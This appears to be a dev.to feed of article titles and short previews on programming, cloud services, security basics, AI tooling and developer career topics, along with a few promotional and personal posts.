    In a tech-driven age where educational apps and platforms are rapidly shaping how students learn, personalization and accessibility are no longer optional—they’re expected. While many developers focus on UI/UX optimization and algorithm efficiency, there's an often-overlooked resource that can radically transform how educational software is built: professional assessments for learning and behavioral concerns. When applied ethically and thoughtfully, the insights gained from these psychological evaluations may inform the design of smarter, more supportive educational tools that genuinely meet user needs—particularly those of neurodivergent individuals or students with behavioural challenges. Understanding Professional Assessments: What They Offer Developers Before developers can make use …  ( 5 min )
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    Have you ever wished you could write shell scripts in TypeScript with the same ease as bash, but with type safety, better error handling, and the ability to seamlessly execute commands across SSH, Docker, and Kubernetes? Meet Xec - the universal command execution system that's changing how we think about shell automation. As developers, we constantly switch between different execution contexts: Running commands locally during development SSHing into production servers for debugging Executing commands in Docker containers Managing Kubernetes pods Each context traditionally requires different tools, APIs, and mental models. What if there was a better way? import { $ } from '@xec-sh/core'; // Same syntax, different contexts await $`echo "Hello from local machine"`; const server = $.ssh({ ho…  ( 8 min )
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    The GO Compiler
    Here's a breakdown of the Go compiler process in simpler terms: What is a Compiler? A compiler is a program that converts human-readable source code into machine code that a computer can understand and execute. Go Compiler Overview The Go compiler (cmd/compile) is responsible for transforming Go code into executable machine code. It works in multiple stages, which can be grouped into four main phases: Front-end (Understanding the Code) Middle-end (Optimizing the Code) Back-end (Generating Machine Code) Exporting Data (For Other Packages) Each phase has multiple steps that process and optimize the code. 1. Front-end (Understanding the Code) This phase takes the raw Go source code and converts it into an internal representation. Step 1: Parsing What happens? The compiler reads the …  ( 4 min )
    PRT FRAUD PROOF FOR NON-MATHEMATICIANS
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    Searching for Jobs 😫? 🆘need your help!😣
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    AI is Eating QA's Lunch (And I'm Here for It!)
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    Do One Thing: Mastering Prioritization for High-Performing Teams
    In the engineering teams I lead, "priority" has no plural form. This drives some people slightly crazy, especially those who like to hedge their bets with phrases like "top priorities" or "critical priorities." But I've learned that the moment you allow multiple top priorities, you've essentially created zero priorities. I discovered this the hard way while working with a team that was constantly context-switching between "urgent" projects. Everyone was busy, morale was decent, but we weren't actually shipping much of value. During one particularly frustrating week, I counted seventeen different tasks that had been labeled as "high priority" by various stakeholders. Our standups felt like disaster reports, and I realized we'd created a system where being busy had become more important tha…  ( 6 min )
    Building Telegram Automation Workflows with n8n and Pinggy Webhooks
    Automation workflows are increasingly vital for developers and modern businesses. Telegram, with its versatile Bot API, offers an excellent way to interact with users, while n8n enables flexible, no-code/low-code automation workflows. But a common challenge arises when building Telegram bots locally: Telegram only accepts HTTPS webhook endpoints, while local servers like n8n typically run on HTTP. This is where Pinggy comes in as a secure tunneling service that exposes your local n8n instance to the web with HTTPS support. In this guide, we’ll walk through integrating Telegram with n8n using Pinggy to handle webhooks securely and effortlessly during local development. Combining Telegram with n8n allows you to automate processes like: Responding to messages instantly Collecting user data fr…  ( 5 min )
    Protecting Against Open Source Malicious Packages: What Does (Not) Work
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    The Evolution of Large Language Models: From Rule-Based Systems to Modern AI
    The journey of Large Language Models (LLMs) is a fascinating narrative of continuous innovation in Machine Learning (ML) and Deep Learning (DL). It's a story of moving from rigid rules to nuanced understanding, powered by breakthroughs at every level, from fundamental algorithms to grand architectures. Before the deep learning revolution, language processing was a meticulous craft, often requiring manual engineering. Concept: These systems used hand-coded rules to interpret and generate language. Think of them as elaborate flowcharts. Example: ELIZA, a famous early chatbot, would respond to keywords with pre-programmed phrases. If you typed "I am sad," it might reply, "Why are you sad?" Contribution: Demonstrated the potential for human-computer interaction, but lacked flexibility and scal…  ( 8 min )
    How I Built a Website for Daily TV Serial Updates Using WordPress
    Have you ever missed an episode of your favorite TV show and wished there was a place where you could just read what happened instead of watching the whole thing? That is exactly what made me create my own website Tellyturn, where I share daily written updates of popular serials. In this post, I want to share how I built the site using WordPress, what tools I used, the challenges I faced, and what I am doing to grow it step by step. If you are thinking about starting your own blog or content website, I hope this helps you. I have always enjoyed watching daily TV serials. But sometimes life gets busy and I do not have time to watch the full episode. I realized many others felt the same and wanted short, written updates they could read in just a few minutes. So I thought, why not build a web…  ( 4 min )
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    Google AI Overview API: The Silent Revolution Reshaping Search
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    "Suspense" with a Promise and an Attribute Mixin
    Some frameworks tend to overcomplicate stuff that's otherwise trivial. We want to render some text whilst another process is pending, then display the results. Some people call this "Suspense". We found a really simple and neat way to do that using Rimmel templates. So what we can do is just put the initial placeholder in our component as normal, then put our promise in an Attribute Mixin: if that resolves an object with an innerHTML or innerText property, those will be taken and used by Rimmel to set the corresponding attributes in the DOM. So, hold tight, here's the code: import { rml } from 'rimmel'; const getData = () => fetch('/api') .then(r=>r.text()) .then(t=>({innerHTML: t})) ; document.body.innerHTML = rml` loading... `; Try it yourself on Stackblitz or run it below: Why this is convenient It may be intuitive, but the Promise is the standard primitive to handle deferred objects. Created by standard web APIs such as fetch, it's simple to use and ubiquitous. An Attribute Mixin is a plain object or anything resolving to an object (a function, a promise, an observable) whose properties will be merged into the given element. These include classes, styles, attributes, inner text and HTML, even child nodes, opening a large number of possibilities. Do you like these patterns? Please consider leaving a Github ⭐ Star to support further research and development of modern design patterns aimed at making it easier to create interactive user interfaces. From callbacks to callforwards: reactivity made simple? Introducing Stream Oriented Programming Creating Web Components with a simple Function  ( 3 min )
    Embeddings & Cosine Similarity Explained Simply
    Introduction This blog will discuss two main components of Retrieval Augmented Generation: the ingestion of data into a vector database and the retrieval of a relevant chunk of data using cosine similarity. Before going further, as a prerequisite, here is a brief explanation of Retrieval Augmented Generation for those who are not familiar with this concept. Please feel free to skip to the next sections if you already know RAG. This technique was designed to provide context to the LLM when it comes to generating responses to domain-specific questions. LLMs were trained on a vast amount of general data available on the internet. Hence, when a user asks a domain-specific question, for example, related to medical, legal, etc., a usual tendency of LLMs is to hallucinate. To resolve these issu…  ( 11 min )
    Venmo App Development: Creating the Next Generation of Seamless Payment Apps
    In today’s fast-moving digital economy, peer-to-peer (P2P) payment platforms are transforming how individuals and businesses exchange money. One of the leading names in this revolution is Venmo-a social payment service that redefined mobile finance. With its rapid adoption, many entrepreneurs and businesses are now exploring Venmo app development to launch similar platforms or integrate P2P capabilities into their existing systems. If you’re looking to build a modern, secure, and scalable Venmo app alternative, this article will walk you through everything from its key features and technology stack to essential insights on mobile app development services tailored for finance. The Venmo app is a widely-used digital wallet and cash app in the United States that allows users to send and recei…  ( 5 min )
    Deploy of MySQL to DRF(Django Rest Framework)
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    Goodbye, Vibe Coding! Hello, Spec-Driven Development MCP Server!
    Recently, we can see a shift from Vibe Coding to Spec Driven and Context Engineering. The pursuit isn't just about fast PoCs, but also about stable Production Readiness. I believe many of us have had similar experiences. Vibe Coding was very fast when building a PoC project. However, as the project complexity increased, various problems emerged: The code generated by rapid iteration lacks sufficient documentation, unit testing, or architectural constraints, which can easily lead to technical debt. Developers may not fully understand the generated code, and face great difficulties when debugging, modifying or extending the functionality, making it difficult to maintain and expand. etc. The emergence of Spec-Driven Development can solve the above problems well. So, what is the difference between the two? Vibe Coding: Prompt → Code Spec-Driven Development: Prompt → Requirements → Design → Tasks → Code By prioritizing requirements documentation, system design, and task lists, we ensure that code logic is clear and aligned with business goals. This improves project maintainability and reduces subsequent technical debt. This is also helpful for team collaboration on large, complex projects! How do we use Spec-Driven Development in our daily development? So, I developed the Spec-Driven Development MCP Server: https://www.npmjs.com/package/mcp-server-spec-driven-development The current v0.1 version provides three predefined prompts: In VS Code GitHub Copilot, you can use /mcp to trigger it: Take developing a Vue.js TODO App as an example, it can be done in a few minutes! Generate requirements document (requirements.md) using generate-requirements Generate system design document (design.md) using generate-design-from-requirements Generate code using generate-code-from-design Finally, it is running! The code is completely open source, welcome to star: https://github.com/formulahendry/mcp-server-spec-driven-development  ( 4 min )
    Top 10 Secure Coding Tactics to Prevent Data Breaches in On-Demand Apps (2025 Dev Guide)
    As software engineers, we're building the backbone of the on-demand economy. Every seamless transaction, every swift delivery, every connected user relies on the code we write. But with great power comes great responsibility – particularly in safeguarding the sensitive data flowing through these applications. Data breaches aren't just IT's problem; they're a direct consequence of vulnerabilities introduced throughout the Software Development Life Cycle (SDLC). In 2025, with sophisticated cyber attacks on on-demand platforms on the rise, adopting a proactive, secure-by-design mindset is no longer optional. This guide outlines 10 critical secure coding tactics that every developer working on on-demand apps should master to significantly prevent data breaches. Let's dive into the 2025 Cyberse…  ( 6 min )
    You've Heard of No-Code. Now Meet Vibe Coding.
    Did you ever start a side project only to abandon it halfway through (I am guilty✋)? Earlier this year, I launched a YouTube series called Micro SaaS Startup 101 for Part-Time Founders.​ The idea was to document the step-by-step journey of building a startup while juggling a full-time job. It was: Fun Insightful And honestly, kind of thrilling But after five episodes, I hit a wall. The content started getting… too theoretical. I wasn't building. I was explaining. And I realized I didn't want to just talk about startups. I wanted to build one. So, I switched gears. I started building my own startup. I found my co-founder, Virgil, and we shipped three real products. I applied the exact steps I covered in Micro SaaS 101: Idea Validation MVP Building Launching in Public And now, I'm back with …  ( 4 min )
    Belitsoft: Core Azure Building Blocks for Enterprise .NET Apps in 2025
    Certain Azure services stand out as most relevant for cloud-native .NET applications. Below is a breakdown of key Azure-native tools and services - across compute, data, integration, and management - that executives consider in their cloud strategy. Each of these services is fully managed by Microsoft, which not only speeds up development but also improves cost-efficiency and reliability. We also include notes on the ROI/cost model for each service and typical use cases. _With over two decades of hands-on .NET experience, Belitsoft has supported enterprise cloud transitions across healthcare, finance, and manufacturing. Drawing from real project demands and architecture planning sessions, this overview maps the Azure-native services that most often shape .NET cloud strategies. _ This is a …  ( 17 min )
    Opening the "Black Box": A Journey into Vector Search and Spam Protection
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. How I built a spam fighting system with Redis 8 Vector Sets and what I learned about the inner workings of machine learning A spam classification system for dev.to that allows you to trace the entire journey from raw text to the final "spam/not spam" decision. Every step is transparent, measurable, and explainable. In the era of ChatGPT and ready-made AI APIs, it's easy to forget that complex mathematics lies behind beautiful interfaces. When I started this project, I had a simple goal: to understand how vector search actually works, rather than just using it as a "magical" function. / redis8-spam-guard 🛡️ Redis8 Spam Guard An intelligent spam classification system for dev.to posts usin…  ( 9 min )
    The AI Revolution Reshaping Music
    In a dimly lit studio in Manchester, singer-songwriter Kirsty McGee watches as her music transforms into visual poetry—surreal landscapes morphing in perfect harmony with her melodies. She isn't directing a team of VFX artists or managing a six-figure production budget. Instead, her fingers dance across a keyboard, typing prompts into an interface. Before her eyes, Neural Frames—an AI video generator—begins translating her words into moving images that capture the essence of her music. This moment represents a seismic shift in creative expression, where sophisticated visual storytelling has been democratised through artificial intelligence. As algorithms begin interpreting emotional resonance and translating sonic textures into moving images, we stand at the threshold of a new era where th…  ( 17 min )
    Top 20 Rising GitHub Projects with the Most Stars in 2025
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    🧠 I Burned Out Trying to Balance Leetcode, OOP, and System Design — Here’s What Finally Worked
    Hey folks 👋, If you’re preparing for technical interviews — especially for FAANG or top-tier tech companies — and struggling to balance Leetcode, OOP, and System Design, this post is for you. Because I made a common mistake, and I want to help you avoid it. ⸻ 🚧 My Problem: The “1–1–1 Leetcode Routine” Backfired For a while, I followed this daily routine: I thought I was doing great — reviewing, reinforcing, moving forward. But in reality… After finishing all 3 problems (plus writing logs and unit tests), I was mentally drained. So what happened? ⸻ 🤯 My Realization: Order > Volume After reflecting, I realized the problem wasn’t effort or motivation — it was the order of how I practiced. I was doing Leetcode first — the most draining — and leaving the most important foundational skills (OOP and SD) for “later”… which never came. ⸻ ✅ The Fix: OOP → System Design → Leetcode 💡 BUT ONLY AFTER YOU’VE DONE AT LEAST 30+ LEETCODE PROBLEMS. This is important. If you’re just starting, you need to build muscle with Leetcode first. But once you’ve solved around 30–40 problems, your brain is ready for deeper concepts. That’s when you should flip the routine: ⸻ 💡 Why This Order Works Better Step Why it works ⸻ ✅ My Daily Flow Now (Post-30+ Leetcode Problems) → Feels lighter, more focused, and less stressful. ⸻ 🙌 Final Advice ⸻ 🔖 TL;DR “Do 30+ Leetcode problems first. ⸻ Hope this helps someone out there 🙏 ⸻  ( 4 min )
    OAuth Misconfiguration in Symfony Explained
    OAuth is a critical component in modern authentication systems. While Symfony provides robust tools for integrating OAuth through bundles like HWIOAuthBundle or Symfony UX, developers often unintentionally introduce misconfigurations that open up security vulnerabilities. In this post, we’ll explore real-world OAuth misconfiguration scenarios in Symfony, complete with code samples, fixes, and how to test your implementation using our Website Vulnerability Scanner online free. 🔗 Also, check out our main blog at Pentest Testing Blog for more developer-centric security tutorials. OAuth misconfiguration occurs when OAuth flows (Authorization Code, Implicit, Client Credentials, etc.) are improperly implemented, exposing apps to attacks like: Authorization Code Interception Open Redirects Miss…  ( 5 min )
    🚀 Advanced SEO Strategies for 2025 – Stay Ahead of the Curve!
    Hey everyone👋 Advanced SEO Strategies 2025 Here's a sneak peek of what you'll learn: • 📈 Smart keyword planning with intent-focused content • 🧠 Leveraging AI & machine learning for better SEO performance • ⚙️ Core Web Vitals & real user experience tips • 🔗 Link-building tactics that are still relevant • 🛠️ SEO tools that are game-changers in 2025 Whether you're a dev building your own site or helping others rank higher, this post is packed with actionable strategies to help you stay on top of search results. 💬 I’d love to hear your thoughts and favorite SEO tips too!  ( 3 min )
    Dlaczego przeszedłem na Debian + i3wm i już nie wracam do klasycznego pulpitu
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    Building a "Back to Top" Button in Flutter
    Have you or the PO. ever scrolled through a long list on a mobile app and wished for a quick way back to the top? In this article, I’ll walk you through creating a sleek “Back to Top” button in Flutter that slides out from the left side of the screen as you scroll down, then gracefully slides back in when you’re near the top. This project is a practical demo of enhancing user experience with animations and scroll handling. The Idea How It Works GitHub repository for the full code! Why It Matters Ready to implement this in your project? Dive into the code and let me know your tweaks in the comments! Follow me for more Flutter tips and tricks. More challenges to work on Try not to use FAB in case you need it for a create or refresh button. (Althought you can make a multi purpose FAB but a sliding back to top feature may sound more attractive)  ( 3 min )
    Reach Out to the Da Vincis of Our Time
    A reflection. In the 15th century, if you wanted to learn from the best, you had to embark on a journey (picture the galleons and nao of that era) and try to reach the last known location of someone considered as master of their craft. If you were lucky enough to find them, you could offer yourself as an apprentice and, with even more luck, learn directly from them. Programming comes with an incredible advantage: the great masters of our profession are alive. Not only that, you can access them. You can read what they’re working on. Take advantage of it. Professionals who are also great teachers (no particular order): Josh Comeau: Front end. CSS, Animations, React. Wes Bos: Css, Animations, JS. Matt Pocock: Typescript. AI Agents. Dan Abramov: React, RSC. Nadia Makarevich: React, Performance Dominik Dorfmeister: React, Performance. Ryan Florence: React, Remix. Maybe Someone finds this useful. -- thanks for reading.  ( 3 min )
    The Great LLM Benchmark Illusion: Why Your Enterprise AI Strategy Needs Real-World Testing
    The Volkswagen Moment of AI: When Benchmarks Became Marketing Theater Remember the Volkswagen emissions scandal? The auto giant optimized their engines to ace regulatory tests while polluting freely on actual roads. Today's AI industry faces its own "dieselgate" moment, with language models trained to excel at benchmarks while struggling with real enterprise tasks. After weeks of breathless model releases and benchmark wars, one truth emerges from the AI community: those impressive benchmark scores plastered across marketing materials might be the biggest lie in enterprise AI. Here's the uncomfortable truth that AI vendors don't want you to know: modern LLMs are increasingly trained to "benchmax" – optimizing specifically for popular evaluation metrics rather than genuine capability. As …  ( 6 min )
    The Developer's Guide to Building Community Hubs with Dynamic Content
    Creating a thriving online community is more than just a dream—it’s reachable with the right tools and ideas. Today, digital spaces where people can connect, share, and grow matter more than ever. As a developer, your job isn't just to make a website but to craft a living, breathing community hub full of engaging content that keeps users coming back. Dynamic content plays a key role in this. It makes everything feel fresh and personal, helping to build loyalty and excitement. This guide will walk you through the best ways to design, build, and grow vibrant community platforms powered by dynamic content. Picking the best tools can make or break your community platform. Popular frameworks such as React, Vue.js, and Angular help build fast, interactive interfaces. For content management, opti…  ( 6 min )
    Networking Series 4: Launching VPC Resources
    Introducing Today's Project! What is Amazon VPC? How I used Amazon VPC in this project One thing I didn't expect in this project The project was estimated to take 60 minutes, but I actually completed it in just about 20 minutes. Thanks to the Amazon VPC wizard, most tasks like setting up subnets, route tables, and gateways were quick and smooth. Directly accessing a virtual machine means connecting to your EC2 instance over the internet via its public IP address using SSH, enabling you to manage it remotely from your device. SSH is a key method for directly accessing a VM To enable direct access, I set up key pairs A private key's file format means the type of file used to store the key for SSH access. My private key's file format was .pem, used to authenticate securely when logging i…  ( 5 min )
    Types of Employee Training Methods for Corporate Teams
    Massive need for the workforce to be strong, agile, and efficient has, never been, seen in the contemporary business environment. To stay ahead of the competition, companies employ large amounts of money to multi-dimensional training programs that are designed not only to accommodate different learning styles, but also to keep up with the rapid technological changes in the industry and to cover the latest requirements. The types of training methods of corporate teams can use to improve their skills is an intricate mix of educational tools that all aim at the development of the employee by increasing his/her knowledge, productivity, and adaptability. The first question that must arise before the discussion is why these strategies are indispensable. The corporate ecosystem is characterized b…  ( 7 min )
    Google Student Ambassador Program 2025: Apply Now for Free Google Swags, Stipend & Certificate
    Are you ready to step into the world of tech leadership and make a mark on your campus? The Google Student Ambassador Program in India 2025 is your chance to shine as a tech influencer, gain hands-on experience with Google’s latest AI innovations, and boost your career with an official Google certification. Plus, there’s free swag, mentorship, and exclusive access to Google events! In this detailed guide, I’ll walk you through what the program is, why it’s a game-changer, who can apply, how to apply, and what resources to check out to ace your application. Let’s get started! Read original blog from here - Lets Code The Google Student Ambassador Program is a prestigious initiative by Google designed to empower college students in India to act as liaisons between Google and their campuses. A…  ( 7 min )
    Looking for a job. Please help me.
    Thank you for taking the time to read this. I've recently been laid off and looking for a job desperately. I have a newborn baby boy and a family that relies on me. I've been let go without notice. All I seek is an opportunity and a chance to prove my worth, even if that means starting the first month at minimum to no income. I'm a great problem solver, I understand how to use the most up to date technologies and legacy technologies. Thanks, Sebastian  ( 3 min )
    How Computers Keep Track of Time: The Story of NTP
    Ever wondered how computers know what time it is? It was a nightmare for people back in history to relate the correct time with computers. Time is deceptively complex in computing. Then, with the rise of networks and ARPANET, and the client-server model becoming popular, a major problem surfaced. Then NTP (Network Time Protocol) was introduced. NTP became one of the oldest internet protocols still in use. NTP uses a hierarchical system called stratum levels. The levels increase with a decrease in accuracy: Here's how NTP works when your system queries an NTP server: The client sends a request to an NTP server with a timestamp T1 (when the request left). The server receives it at T2, processes it, and sends back a response at T3. The client receives it at T4. Round-trip delay is calculated as an estimate of how long the packet took to go to the server and back: (T4 -T1) - (T3 - T2) Offset estimates how far ahead or behind your clock is compared to the server: ((T2 - T1) + (T3 - T4)) / 2 NTP picks the best servers, filters outliers, and gently disciplines your clock over time. Modern Linux systems use daemons like ntpd, chronyd, or systemd-timesyncd to regularly sync time from multiple NTP servers. Despite being around for nearly 40 years, NTP still quietly powers the internet’s sense of reliable time silently, precisely, and beautifully.  ( 4 min )
    Meme Coin Tokenomics vs Traditional Token Models: Which Converts Better?
    Every startup is searching for that edge, the unique strategy that not only turns heads but also turns users into loyal supporters. In the world of Web3, that edge often lies in the way a project is tokenized. Token models are no longer just a technical decision; they're a branding move, a growth strategy, and a signal of how bold or innovative your business is. Meme Coins, on the other hand, are driven by internet culture, humor, and virality. But don’t be fooled by the fun branding; many of today’s meme coins are backed by strategic tokenomics and strong communities. Community-Driven Growth Positive Impact: Simplicity Converts Faster Positive Impact: Emotional Connection = Brand Loyalty Positive Impact: Tokenomics Built for Engagement Positive Impact: Positive Impact: Conclusion: * Both token models have their strengths, but when it comes to conversion, engagement, and community building, meme coin tokenomics offer a dynamic, cost-effective, and highly viral alternative, especially for startups and emerging businesses. The rise of meme coins doesn’t mean traditional tokens are obsolete. It simply means that today’s entrepreneurs have more choices and more powerful tools to connect with audiences and grow fast. If you're a startup founder exploring blockchain opportunities, now is the perfect time to consider a fresh and innovative approach. Working with a reliable Meme coin Development Company can help you launch a project that’s not just trendy, but also trusted, scalable, and successful.  ( 5 min )
    How I Audited My Portfolio Website Like a Pro (As a Developer)
    How I Audited My Portfolio Website Like a Pro (As a Developer) “You build. You deploy. But do you audit?” After launching my developer portfolio, I thought I was done. But something felt off — it was slow to load, unranked on Google, and didn’t feel polished. So I decided to audit my own site like an SEO pro — and the results surprised me. Here’s my simple step-by-step audit process that helped me improve speed, SEO, accessibility, and user experience. I used Chrome DevTools Lighthouse to run a performance test. Uncompressed images (4MB+) Unused JavaScript libraries No lazy loading on images Compressed images with TinyPNG Removed old animation library (ouch!) Added loading="lazy" on tags 📈 Performance Score: 57 → 92 Checked my using Semrush SEO meta checker and also used …  ( 4 min )
    Why Linux Has Both /bin and /usr/bin: A Brief History of Unix Design
    Have you ever wondered why there are two bin directories, one in root /bin and one in /usr/bin? There's actually an interesting reason behind it. In the very early days of Unix, storage was expensive and limited. The entire root filesystem typically resided on a small, fast disk, which contained absolutely everything needed to boot a system ,including all fundamental commands and system utilities. As Unix systems grew, more applications and user programs were developed. To accommodate this, a second larger disk was introduced, often mounted at /usr. Thus, /usr/bin emerged as the directory for non-essential but widely used command binaries, and /usr/sbin for system binaries that weren't needed at boot. The separation of /bin and /usr/bin was crucial by design. Tools in /bin (like ls, cp, sh) had to be available during minimal boot or system recovery, even if /usr wasn’t mounted. In contrast, /usr/bin held larger, non-essential binaries used in a full multi-user setup. During system initialization, only /bin and /sbin are used until /usr is mounted. Modern distros(like Fedora or Arch) often merge them via symlinks, but understanding this separation reveals the Unix focus on modularity and minimalism.  ( 3 min )
    What's the Difference Between Authentication and Authorization?
    In the world of cybersecurity and web application management, two concepts are often mentioned together: authentication and authorization. While they may sound similar, they serve very different purposes. Understanding the distinction between them is essential for building secure applications and systems. Authentication is the process of verifying who a user is. Think of authentication as the digital equivalent of showing your ID card at a secure building entrance. The system checks your credentials — typically a username and password, sometimes enhanced with biometrics or two-factor authentication — to ensure you are who you claim to be. Examples of authentication methods: Password-based login Multi-factor authentication (MFA) OAuth-based third-party login (e.g., "Log in with Google") Wit…  ( 4 min )
    Testing while developing TWD - NestJS example
    In this article, we’ll apply the TWD mindset to a NestJS project. We’ll simulate a scenario where you're a new developer joining a project, tasked with building a new feature — but this time, using the TWD approach. Before we dive into code, a quick reminder of some TWD principles: Add automated tests right after identifying a manual test while developing a feature. Keep your test runner open during development to get feedback instantly. Use coverage after completing the feature to spot gaps, not as a goal. You don’t write all tests first (like TDD), and you don’t leave testing for "after everything works". You test while building. Let’s start with a fresh NestJS project: npm i -g @nestjs/cli nest new nestjs-twd-example To keep the focus on TWD, we’ll implement a simple TODO API with two …  ( 9 min )
    Beyond CRUD: The Real Technical Moats for Java Backend Engineers
    “Am I just an API machine?” If you’ve been doing Java backend for a few years, chances are you’ve asked yourself that. The cycle feels all too familiar: new requirements, new endpoints, another round of create-update-delete. Sure, it works. But over time, you might feel stuck — as if anyone with a Java IDE and access to Stack Overflow could replace you. The truth? The real backend complexity doesn’t live in the endpoints — it hides in the system behind them. This article outlines the core technical moats that separate CRUD coders from true backend engineers. And yes, there's more than just mastering Spring Boot annotations. Once your app can no longer live on a single machine, you're entering the territory of complexity by default. Distributed systems aren’t just bigger — they’re different…  ( 5 min )
    How does actually HTTPS works, overview of TLS
    Ever wondered what really happens behind the lock icon in your browser? I was curious about HTTPS, so I broke it down in simple terms HTTPS = HTTP + TLS TLS stands for Transport Layer Security which ensures: After the classic 3-way TCP handshake, there is a TLS process that happens to secure the communication between the client and the server. This is how the TLS handshake works: 𝟭) 𝗖𝗹𝗶𝗲𝗻𝘁𝗛𝗲𝗹𝗹𝗼: 𝟮) 𝗦𝗲𝗿𝘃𝗲𝗿𝗛𝗲𝗹𝗹𝗼: 𝟯) 𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗰𝗮𝘁𝗲 𝗩𝗲𝗿𝗶𝗳𝗶𝗰𝗮𝘁𝗶𝗼𝗻: 𝟰) 𝗞𝗲𝘆 𝗘𝘅𝗰𝗵𝗮𝗻𝗴𝗲: Typically, methods like Elliptic Curve Diffie-Hellman (ECDHE) are used to generate this key securely over the network. The server’s public key (from its certificate) is used by the client to send key information securely, ensuring that only the server can decrypt it (because only the server has the private key). Both the client and server then derive the same symmetric session key independently. From this point onward, all communication is encrypted with fast symmetric encryption (like AES) using this session key.  ( 3 min )
    8 Smart Steps for Effective Resource Tracking
    Resource tracking isn’t just about knowing who’s working on what—it’s about visibility, balance, and impact. In this blog, we explore 8 practical steps that help project managers track, manage, and optimize resources more efficiently. Whether you're dealing with developers, designers, or cross-functional teams, these steps can help ensure your resources are aligned with project goals without overloading or underutilizing your team. Mismanaged resources can lead to project delays, team burnout, and budget overruns. Effective resource tracking helps you: Plan with clarity Allocate tasks based on availability and skill Adapt to changes in real time Improve delivery without overextending your team Here are some of the key steps outlined in the full article: Define roles and responsibilities clearly Understand resource capacity and availability Use project management tools for real-time tracking Monitor utilization rates regularly Reallocate resources when needed Track bottlenecks and resolve conflicts early Keep your data updated for accurate forecasting Review learnings for continuous improvement If you want better control over your project’s people, time, and tools, resource tracking is the skill to master. These eight steps provide a solid foundation for any team looking to boost performance and deliver more with less chaos.  ( 3 min )
    De la Programmation Orientée Objet vers la Programmation Orientée Données - Un guide pratique
    Introduction La programmation orientée données (Data-Oriented Programming) représente un paradigme émergent qui privilégie la manipulation des données plutôt que l’encapsulation des comportements. Ce guide pratique explore les étapes clés pour transformer du code Java traditionnel orienté objet vers une approche orientée données, en s’appuyant sur l’exemple concret du dépôt https://github.com/jtama/crazy-data-oriented-programming. Le dépôt crazy-data-oriented-programming illustre cette transformation à travers l’exemple d’un système de cartes à jouer. La branche main présente une implémentation orientée objet classique, tandis que la branche expected montre l’évolution vers une approche orientée données utilisant les fonctionnalités modernes de Java. Il a été pensé pour être utilisé comm…  ( 11 min )
    DynamoDB Deep Dive: Understanding WCU, RCU, LSI, and GSI
    Introduction Amazon DynamoDB is a powerful, serverless NoSQL database designed for high performance at scale. But with great power comes great complexity especially when it comes to indexes and capacity units. A DynamoDB table has a primary key (partition key + optional sort key) that defines how data is stored and queried. But what if you need alternative query patterns ? In this blog, we’ll break down: What are WCU (Write Capacity Units) and RCU (Read Capacity Units) ? How to calculate them ? Differences between LSI (Local Secondary Index) and GSI (Global Secondary Index). DynamoDB operates under two capacity modes : Provisioned capacity : You allocate RCUs and WCUs manually, use for Predictable, steady workloads. On-demand : AWS handles scaling (costs more per request), use for unpred…  ( 5 min )
    How to Deploy KRC Tokens Using KID (KRC‑20, KRC‑721 & KRC‑1155)
    If you’ve followed our series so far, you know how to deploy a smart contract using Kalp Instant Deployer (KID). The next step? Launching tokens — the assets that power dApps, ecosystems, and communities. Kalp Studio provides in‑built templates for: KRC‑20 – fungible token standard KRC‑721 – non‑fungible token (NFT) standard KRC‑1155 – multi-token standard (semi-fungible assets) These are analogous to Ethereum’s ERC‑20, ERC‑721, and ERC‑1155 but optimised for the Kalp DLT. Let’s walk through how to deploy each token standard using KID and why they matter to developers. Until recently, creating custom tokens meant manually writing, compiling, and deploying Solidity or Go smart contracts. Each network had a different toolset, and deployment often broke. With Kalp Instant Deployer, tem…  ( 4 min )
    The five rules I would follow to find a startup idea in 2025
    At the end of 2022, I launched neural frames after what felt like a decade of searching for the right idea. I'd explored countless VC-backed concepts before landing on something I could build myself, bootstrap, and transform into a profitable business—all while having the time of my life. Even back in 2022, the startup ecosystem was already incredible. Between Stripe handling payments, analytics tools tracking everything, and social media making promotion accessible, building had never been easier. But 2025? This is the golden era. The barrier to entry has practically vanished, and AI has blown open doors we didn't even know existed. There's an ocean of opportunities just waiting for someone to dive in. If you're starting now, you've got multiple chances to find your thing. Here's my playb…  ( 5 min )
    AWS in 30 Days: Your Ultimate Cloud Skill Upgrade
    Whether you're a complete beginner or someone looking to level up your cloud game, AWS in 30 Days is your fast-track journey into the world of Amazon Web Services — the most in-demand cloud platform in the world. In this blog series, we don’t just explain concepts. We guide you through real-world applications, hands-on setups, and expert-level tips — all in bite-sized lessons you can absorb in under 30 minutes a day. We kick things off by answering the most essential questions: What is the cloud? Why does AWS matter? And how do services like S3, EC2, IAM, and VPC work together to power everything from startups to Netflix? No fluff. Just real-world explanations with analogies and stories to make it stick. Once the foundation is clear, we roll up our sleeves. From hosting a website on S3 or …  ( 4 min )
    Day 49: When Bureaucracy Finally Releases Its Death Grip
    After surviving what I'm diplomatically calling "bureaucracy week" (translation: a seven-day nightmare of bank emails and registration chaos), I finally managed to do what I came to college for - actually study. Woke up at 7 AM. Yes, you read that right. My ambitious 5 AM plan has officially been declared dead and buried. But hey, 7 AM is practically dawn for someone who spent the last week refreshing email hoping for bank receipts that never came. The morning routine was strategic: stretch, breakfast, face wash, brush, wrist heat therapy (because apparently I'm 80 years old), and then the mad dash to the library. Shower? Skipped. Priorities? Questionable. Hit the library around 9 AM and stayed till 12:45 PM. Solid session of JavaScript basics - nothing fancy, just getting back into the groove after a week of dealing with administrative nonsense instead of actual code. But here's where it gets interesting. There's this person in the library who has the most genuinely terrifying coding expression I've ever witnessed. Picture this: completely absorbed in their screen, lower teeth out, looking like they're about to physically fight their compiler. I understand we all have our debugging faces, but this was next-level intimidating. Managed to squeeze in: JavaScript fundamentals review 2 LeetCode problems (nothing groundbreaking, but hey, brain functionality confirmed) Multiple library sessions with strategic dry fruit breaks Survived registration round 47 (approximately) The day ended with an evening study session from 5-8 PM, because apparently once you start, momentum becomes addictive. College bureaucracy is designed to test your patience, not your intelligence. Banks have their own timeline that exists outside normal human understanding. And sometimes the most productive thing you can do is just show up, even if your morning routine looks like controlled chaos. Tomorrow's revolutionary plan? Maybe shower before hitting the library. We'll see how that goes.  ( 4 min )
    Why Senior Engineers Don’t Need All the Answers
